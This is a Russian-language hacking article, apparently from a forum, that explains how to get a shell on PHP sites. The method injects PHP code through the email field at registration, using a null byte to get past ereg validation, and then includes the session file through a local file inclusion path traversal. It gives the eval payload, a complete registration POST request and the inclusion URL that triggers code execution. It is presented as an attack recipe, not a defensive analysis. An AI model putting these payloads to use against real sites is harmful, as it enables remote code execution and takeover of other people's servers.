Инъекция кода в mail()
К написанию этой заметки меня подтолкнуло одно из заданий в ROA.
Суть сводится к тому, что в первый аргумент
mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки.
Данный способ актуален только для сайтов, где
необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код).
В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы.
Для получения шелла необходимо:
1. LFI на уязвимом сайте (с возможность инклуда сессий).
2. В сессию записывается E-mail пользователя (имеется во многих самописных движках).
3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие.
4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта).
При соблюдении этих условий для получения шелла необходимо (возможны различные вариации):
1. Подставить php-код в поле E-mail'a при регистрации.
2. Залогиниться.
3. Проинклудить сессию.
----------------------------------------------------------------------------------
Рассмотрим на примере.
На сайте site.com имеется LFI с возможностью инклуда сессий:
http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}
На страницу выводится нечто подобное:
Код:
user_login|s:N:"{YOUR_LOGIN}";user_mail|s:N:"{YOUR_EMAIL}";user_password|s:32:"{YOUR_HASH}";
Где
{YOUR_LOGIN},
{YOUR_EMAIL},
{YOUR_HASH} - данные текущего пользователя.
Вариант с подстановкой php-кода в
{YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается
htmlentities() + ограничено по длине.
Рассмотрим вариант с E-mail.
Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции
ereg_*, поэтому нужно добавить нуллбайт
%00 (функция воспримет его как конец строки и прекратит её обработку):
Код:
your_mail@mail.ru%00<?=eval($_GET[c])?>
Поле адресата передаётся
Sendmail'у в сыром виде и без валидации (проверял на локалхосте), а
Sendmail в свою очередь, воспринимает нуллбайт как конец строки.
В случае, если введён рабочий E-mail, на него благополучно придёт сообщение.
Примерный запрос регистрации:
Код:
POST /register.php HTTP/1.1
Host: site.com
Content-length: {DATA_LENGTH}
Content-Type: application/x-www-form-urlencoded
Connection: Close
form_login={YOUR_LOGIN}&pass={YOUR_PWD}&form_email=your_mail@mail.ru%00<?=eval($_GET[c])?>&submit=Go
Скрипт должен вернуть сообщение об успешной регистрации и отослать письмо на your_mail@mail.ru.
После подтверждения регистрации и входа на сайт инклудим сессию:
http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo();
Шелл получен.
----------------------------------------------------------------------------------
(с) [x26]VOLAND